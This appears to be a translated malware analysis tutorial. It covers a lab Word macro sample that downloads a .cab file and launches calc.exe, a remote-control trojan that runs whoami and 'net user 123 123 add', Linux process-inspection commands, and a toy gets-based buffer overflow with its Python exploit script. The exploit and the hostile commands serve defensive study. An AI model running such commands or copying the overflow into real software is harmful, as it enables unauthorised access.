Malware Analysis ! 4day

Today’s learning content is a combination of dynamic and static analysis of viruses, if there are inappropriate places hope that partners can point out, let us work together to improve and progress together

Note: The content of the article is only to share their own knowledge base, only their own understanding, not necessarily accurate, I hope that when watching just reference, thinking is not limited by it.

Note: This is a translation of a previously written article into English, so if you have trouble reading the information, I will improve the translation.

Practical explanation​

Analyse test samples based on a combination of static and dynamic analysis techniques previously learnt

word macro virus​

Surface layer​

• Open an external address en route to download a file

• After opening a word document, the calculator program was found to be open (representing malicious behaviour here)

Monitoring​

• Network monitoring
  Analysis:
  Launch Program-WINWORD.EXE *64 bitRequest address-http://192.168.86.144/Response service-web service opened by python3’s SimpleHTTPServer moduleRequest file-Code:

http://192.168.86.144/word.cab
Ans: cab is the windows compression format, I use 7-z to extract it

• Behaviour monitoringFind the main program to open word filesTask Manager:

• Same process tree as network monitoring to the initiator to view the execution flow:

Analysis：Code:

Normal: just opening a word document
Suspicious: the control panel program control.exe is called
and the control panel executes a configuration file called msword.inf in a temporary folder, and then opens the calculator program calc.exe by running the cmd program (in this case, the malicious program)

itself​

• 7-z View word document

• Found out how to access the suspicious address

• Combined with previous network analysis to access this address and then jump to download the suspicious file

  Downloaded documents​

• Unpacking the downloaded file

• can open it directly and extract it (7-z extraction is also possible, the effect is the same, but the unpacked size is different) and find the configuration file msword.inf where the control panel program is executed

• Run the test

• Executed successfully, verifying that the malicious code was loaded by the file

• String ViewingView the downloaded file word.cab using cutter

• See calculator-related content (calc.exe here stands in for malicious program)
  Debug monitoringThe key function has been run and the malicious program has been successfully loadedCode:

essential call:
00007FF67F1128E3 | E8 C8F4FFFF              | call control.7FF67F111DB0               |

• 

• Go to view (malicious profile loaded).
  ShellExecuteExW function (can usually this function to execute external programs or open files)
  rundll32.exe (rundll32.exe is used to run DLL files in memory, they will be used in the application, can be used to execute malicious in memory dll)

Code:

*cmd,*bat  //Guess the dos environment is ready here
00007FFDF9DD11ED | 48:8D15 94DA4800         | lea rdx,qword ptr ds:[7FFDFA25EC88]     | rdx:L"*.CMD;*.BAT", 00007FFDFA25EC88:L"*.CMD;*.BAT"
00007FFDF9DD11F4 | 48:8BC8                  | mov rcx,rax                             | rax:L"rundll32.exe"

• 

• syscall (this syscall finishes running and loads the malicious configuration file in order to run the dos environment to start the calc program here for the malicious program syscall: indicates a system call)

• Disassembly locator: const char Command starts calc.exe

Code:

Positioning technique: string search for key information, then double-click to enter the disassembly page to view

• to this debugger trace and monitor the same running process.

  Remote control of viruses​

Running​

• Test machine, suspicious processes located

Code:

I see RPCRT4.DLL in the module list
File description: remote program call runtime
Under the explorer.exe process tree
Judgment: suspicious module, generally the program will load only if there is a remote requirement, the current test machine has no known remote, test.exe loaded this module is not normal, and therefore the process in the explorer.exe process tree to determine the user to start

• Attack aircraft have taken control of the test aircraft

• Process treeFind the location of the suspicious program, run it and monitor it to see the process tree

Code:

test calls certain programs
ipconfig.exe: (the following command is run: ipconfig, which resolves the behaviour to query the current IP)
whoami.exe: (ran the following command: whoami, behavioural parsing to display logged in user information)
net.exe: (ran the following command: net user 123 123 add, behavioural resolution to create account behaviour)

• At this point it can be determined that test.exe has performed a malicious act
• Network traceability

Code:

Frequent outreach to this IP: 192.168.86.114
Initially determined to be the IP used by the attacker

Locate and analyse​

Find the program and load the analysis tool to analyse it

• VirtualAlloc function
  Code:

Windows API function for requesting memory space

• ExitProcess function
  Code:

Windows API function to end the calling process and all its threads.

• FunctionsThis call will call syscall to send network data to the attacking machine
  

Code:

call:00007FF8054B2A59 | 48:FF15 301F0500         | call qword ptr ds:[<&NtDeviceIoControlF |
Go to call:
00007FF8086CCEF0 | 4C:8BD1                  | mov r10,rcx                             |
00007FF8086CCEF3 | B8 07000000              | mov eax,7                               |
00007FF8086CCEF8 | F60425 0803FE7F 01       | test byte ptr ds:[7FFE0308],1           |
00007FF8086CCF00 | 75 03                    | jne ntdll.7FF8086CCF05                  |
00007FF8086CCF02 | 0F05                     | syscall                                 |
NtDeviceIoControlFile
Function resolution: Constructs a descriptor for the supplied buffer and passes the untyped data to the device driver associated with the file handle.

Linux virus checking​

Network Related​

• ifconfig commandIf the data sent is too large or the difference between the received and sent comparisons is too large (no data downloaded), it is suspicious and requires further investigation.
  Code:

RX Packets // Number of packets received
TX Packets // Number of packets sent
RX Bytes // Number of bytes received
TX Bytes // Number of bytes sent out

• 

• nethogs command (installation required for normal conditions)Lists the network status of the process
  Code:

dev network card
sent
received

• 

• See process 1 sending and receiving data, see detail
  top commandQuery the resource usage of a specified processCode:

top -p 7132  //7132 for process pid

• 

• At first, the monitoring resources are not high, but at a later stage, they are gradually over-occupied, probably because the remote control Trojan horse resides, and then receives commands to execute attacks such as: search for specified files

Find process path by PIDCode:

cd /proc/7132 //7132 is the process pid
ls -ail //exe corresponds to the executable path information
Additional knowledge:
The /proc directory on Linux systems is a file system, the proc file system. Unlike other common file systems, /proc is a pseudo file system (i.e. virtual file system) that stores a series of special files about the current kernel status, through which users can view information about the system hardware and the currently running processes, and even change the kernel status by changing some of these files.
ls -ail [directory name]: prints the directory files of the current/specified directory
Combined query: ls -ail /proc/7132
If you do not have root privileges, some information will not be available, e.g. the following message will be displayed:
ls: Unable to read symbolic link '/proc/7132/cwd': insufficient permissions
ls: Unable to read symbolic link '/proc/7132/root': insufficient permissions
ls: Unable to read symbolic link '/proc/7132/exe': Insufficient permissions

• 

Guess the status query outreach IPCode:

netstat -na|grep ESTABLISHED

• 

• Backtracking processes by port
  Code:

netstat -nap | grep 47074

• 

View process memory based on pid
Code:

pmap -d 3885

Shutting down processes based on pidCode:

kill -HUP 3885

• 

Exploiting program overflow vulnerabilities​

This is an uncomplicated simulation of an attack program based on a program with an overflow vulnerability.

A brief analysis of the attack program exploit idea and the overflow vulnerability generation

Source Code Analysis​

Buffer vulnerability program source code exists:​

Note: Modified from STACK1_VS_2017.cpp

Toolchain: Mingw

Code:

#include <stdlib.h>
#include  <stdio.h>
#include "Windows.h"

int main(int argc, char **argv) {

    MessageBoxA((HWND)-0, (LPCSTR) "检测程序是否正常运行\n", (LPCSTR)"功能", (UINT)0);

    int cookie;
    char buf[2];
    int *a = &cookie;
    char *b = buf;
    printf("buf: %08x cookie: %08x\n", b, a);
    u_int64 p =(u_int64)a-(u_int64)b;
    printf("程序正常运行，存在缓存区溢出漏洞，其中两变量内存地址之差=%d:\n 注意：若超过此值则缓冲区溢出\n",p);
    gets(buf);
    if (cookie == 0x41424344)
        printf("缓冲区溢出，已被成功利用此漏洞,隐藏信息已显示，请排查\n");

}

According to the source code, if the data obtained by the gets function is *DCBA ( wildcard, e.g. 11DCBA, the hexadecimal value of the string DCBA is 44434241, because the order of reading and writing data on the stack is first in and last out, so the real call is ABCD), it proves that the buffer overflow vulnerability of this program is exploited and the hidden message is displayed (according to the code logic, the normal operation of the program does not meet the condition of displaying this hidden message)
The buffer vulnerability is caused by the buf application buffer size of 2, and the buffer is not protected because it is acquired with gets, and if the acquired data exceeds 2, the buffer is overflowed.

Attack exploit code​

Code:

import sys
from subprocess import Popen, PIPE
 
payload = b"A" * 2 + b"\x44\x43\x42\x41"
 
p1 = Popen(r"C:\Users\用户名\Desktop\test\cmake-build-debug\test.exe", stdin=PIPE)
print ("PID: %s" % hex(p1.pid))
print ("Enter para continuar")
p1.communicate(payload)
p1.wait()
input()

Effect: The buffer overflow succeeded and the hidden message was read by entering a specific code

Monitoring：procexp64

Procmon64

Locate the script test.py to use

Disassembly analysis​

Run to module value: test.exe

Entry breakpoint broken off, no leaked information related content seen, string search to quickly locate the vulnerable function code block

Note: The compiler adds a lot of code in order to make the executable work and start properly. Therefore, the first entry function breakpoint often does not break to the main function

Decompiler cross-reference:MapoAnalyzer

Snowman

Trace analysis: When entering a string, the two variables are seen next to each other in the stack window

According to the analysis of the decompiled result, the input string is the value of the corresponding buf variable, but now the cookie corresponding also has a value, analysis of data overflow, resulting in the cookie corresponding address has a value and for the input value minus two, that is, DCBA, as shown in the following figure:

Code:

00000000004015E1 | 8B45 E4                  | mov eax,dword ptr ss:[rbp-1C]           |
00000000004015E4 | 3D 44434241              | cmp eax,41424344                        |
00000000004015E9 | 75 0C                    | jne test.4015F7                         |
00000000004015EB | 48:8D0D A67A0000         | lea rcx,qword ptr ds:[409098]           | 0000000000409098:"缓冲区溢出，已被成功利用此漏洞,隐藏信息已显示，请排查\n"
00000000004015F2 | E8 49630000              | call <test.begin of _Z6printfPKcz>      |

You can see the input

The string has met the conditions and the jump was unsuccessful, resulting in the hidden message being retrieved Extended analysis:

The gets function

Code:

Web source: gets can read indefinitely without judging the upper limit, that is, the gets function does not check the size of the buffer buffer, and in fact it cannot check the buffer space.

In conjunction with the analysis, an overflow vulnerability exists due to the program’s use of the get function to obtain input data, where the program hides certain characters based on this vulnerability.